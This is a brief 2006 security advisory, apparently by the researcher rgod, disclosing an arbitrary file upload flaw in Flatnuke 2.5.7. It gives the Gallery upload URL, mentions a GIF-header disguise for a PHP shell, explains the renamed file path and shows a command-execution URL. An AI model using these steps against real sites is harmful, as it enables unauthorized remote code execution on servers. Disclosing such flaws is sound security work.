12/07/200619.11.54=0D
----- Flatnuke 2.5.7 arbitrary file upload / remote code execution -------------=0D
software:=0D
site: http://www.flatnuke.org/=0D 
--------------------------------------------------------------------------------=0D
=0D
if user Gallery uploads are enabled (not the default) you can go to:=0D
=0D
http://[target]/[path_to_flatnuke]/index.php?mod=Gallery=0D 
=0D
to upload a shell.php file, ex:=0D
=0D
GIF86=0D
=0D
file is renamed like this:=0D
=0D
shell_by_[username].php=0D
=0D
now you can launch commands, ex:=0D
=0D
http://[target]/[path]/sections/Gallery/shell_by_rgod.php?cmd=ls%20-la=0D 
=0D
--------------------------------------------------------------------------------=0D
rgod=0D
site: http://rgod.altervista.org=0D 
mail: rgod @ autistici.org=0D
--------------------------------------------------------------------------------=0D
=0D
original url: http://retrogod.altervista.org/flatnuke257_adv.html=0D